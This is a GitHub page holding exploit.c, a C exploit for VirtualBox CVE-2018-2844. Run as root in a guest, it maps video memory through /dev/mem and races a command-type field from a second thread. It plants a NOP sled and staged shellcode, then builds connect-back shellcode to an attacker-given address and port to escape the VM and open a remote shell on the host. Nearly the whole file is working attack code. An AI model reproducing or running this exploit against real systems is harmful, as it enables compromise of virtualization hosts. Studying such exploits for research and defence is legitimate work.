forked from renorobert/virtualbox-cve-2018-2844
-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.c
178 lines (137 loc) · 4.65 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
/* blacklist vboxvideo driver for this exploit */
#define _GNU_SOURCE
#include <sys/io.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <string.h>
#include <pthread.h>
#include <sched.h>
#include "structures.h"
#include "shellcode.h"
#define VGA_PORT_HGSMI_HOST 0x3b0
#define VGA_PORT_HGSMI_GUEST 0x3d0
#define VBE_DISPI_IOPORT_INDEX 0x01CE
#define VBE_DISPI_IOPORT_DATA 0x01CF
#define VRAM_PADDR 0xE0000000
#define PAGE_SIZE 4096
int mem;
uint8_t *map_phy_address(off_t address, size_t size)
{
uint8_t *map;
if (!mem)
mem = open("/dev/mem", O_RDWR | O_SYNC);
map = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE,
mem, address);
return map;
}
int set_cpu_affinity(int cpu)
{
int s;
cpu_set_t cpuset;
pthread_t thread;
thread = pthread_self();
CPU_ZERO(&cpuset);
CPU_SET(cpu, &cpuset);
s = pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset);
return s;
}
void *jmp_table_race(void *gva)
{
uint32_t volatile *vram_gva = (uint32_t *)gva;
if (set_cpu_affinity(1) != 0)
errx(EXIT_FAILURE, "[!] Error setting CPU affinity");
while(1) {
/* points to 0xFEFEFEFF in VBoxDD.so */
*vram_gva = 0x11EE9;
*vram_gva = VBOXVDMACMD_TYPE_CHILD_STATUS_IRQ;
}
return NULL;
}
int main(int argc, char **argv)
{
uint8_t *vram, *payload;
uint64_t payload_offset;
pthread_t race;
struct shell_config config;
struct payload *shellcode;
/* VBox variables */
uint64_t cbVRAM;
HGSMIBUFFERHEADER *pHeader;
PVBOXVDMACBUF_DR pCmd;
PVBOXVDMACMD pDmaCmd;
PVBOXSHGSMIHEADER pSHdr;
if (getuid() != 0 || geteuid() != 0)
errx(EXIT_FAILURE, "[!] Run program as root");
if (argc < 3)
errx(EXIT_FAILURE, "[!] Usage <address> <port>");
iopl(3);
cbVRAM = inl(VBE_DISPI_IOPORT_DATA);
warnx("[+] VRAM buffer size = 0x%lx", cbVRAM);
vram = map_phy_address(VRAM_PADDR, cbVRAM);
if (vram == MAP_FAILED)
errx(EXIT_FAILURE, "[!] Error mapping VRAM buffer...");
warnx("[+] VRAM buffer mapped @ %p", vram);
/* set up payload at the end of VRAM buffer */
warnx("[+] Setting up payload...");
payload_offset = cbVRAM - PAGE_SIZE;
payload = vram + payload_offset;
memset(payload, 0, PAGE_SIZE);
pHeader = (struct HGSMIBUFFERHEADER *)payload;
/*
* 0xEEB (jmp near) acts as both tiny shellcode and size. The shellcode jumps to unused
* VBOXSHGSMIHEADER structure, which holds next stage shellcode.
* R8 points to HGSMIBUFFERHEADER during the crash.
*/
InitializeHeader(pHeader, 0xEEB, HGSMI_CH_VBVA,
VBVA_VDMA_CMD, payload_offset);
pSHdr = (PVBOXSHGSMIHEADER)((uint8_t *)pHeader + sizeof (HGSMIBUFFERHEADER));
/* To be used as shellcode if needed */
memset(pSHdr, 0x42, sizeof(VBOXSHGSMIHEADER));
pCmd = (PVBOXVDMACBUF_DR)((uint8_t *)pHeader + sizeof (HGSMIBUFFERHEADER)
+ sizeof(VBOXSHGSMIHEADER));
/*
* 0xEEB (jmp near) acts as both tiny shellcode and fFlags. The shellcode jumps to
* aGuestData of VBOXVDMACBUF_DR structure, which holds next stage shellcode.
* R15 and RSP+20 points to VBOXVDMACBUF_DR during the crash.
*/
/* VBOXVDMACBUF_FLAG_BUF_FOLLOWS_DR as 0xEB == 11101011 */
pCmd->fFlags = 0xEEB;
pCmd->cbBuf = sizeof(VBOXVDMACMD) + sizeof(VBOXVDMACBUF_DR) + 0xEEB;
/* To be used as shellcode if needed */
memset(&pCmd->aGuestData, 0x43, sizeof (pCmd->aGuestData));
pDmaCmd = (PVBOXVDMACMD)((uint8_t *)pCmd + sizeof(VBOXVDMACBUF_DR));
/*
* This value is used by jump tables. Set it to a value such that vboxVDMACmdCheckCrCmd
* does not process the command and passes on to vboxVDMACmdExec
*/
pDmaCmd->enmType = VBOXVDMACMD_TYPE_CHILD_STATUS_IRQ;
/* Spawn another thread to modify pDmaCmd->enmType */
pthread_create(&race, NULL, jmp_table_race, &pDmaCmd->enmType);
/* setup IP and port for connect back */
warnx("[+] Preparing connect back shellcode for %s:%d", argv[1], atoi(argv[2]));
inet_pton(AF_INET, argv[1], &config.sin_addr.s_addr);
config.sin_port = htons(atoi(argv[2]));
shellcode = (struct payload *)((uint8_t *)pDmaCmd + sizeof(VBOXVDMACMD));
shellcode->config.sin_addr.s_addr = config.sin_addr.s_addr;
shellcode->config.sin_port = config.sin_port;
shellcode->done = 0;
create_shellcode(shellcode);
if (set_cpu_affinity(0) != 0)
errx(EXIT_FAILURE, "[!] Error setting CPU affinity");
/* Setup stage 1 shellcode & NOP sled */
memcpy((vram + cbVRAM) - (PAGE_SIZE * 2), &call_shell,
(uint8_t *)&call_shell_end - (uint8_t *)&call_shell);
memset(vram, 0x90, cbVRAM - PAGE_SIZE * 2);
while(1) {
outl(payload_offset, VGA_PORT_HGSMI_GUEST);
if (shellcode->done) exit(EXIT_SUCCESS);
}
return 0;
}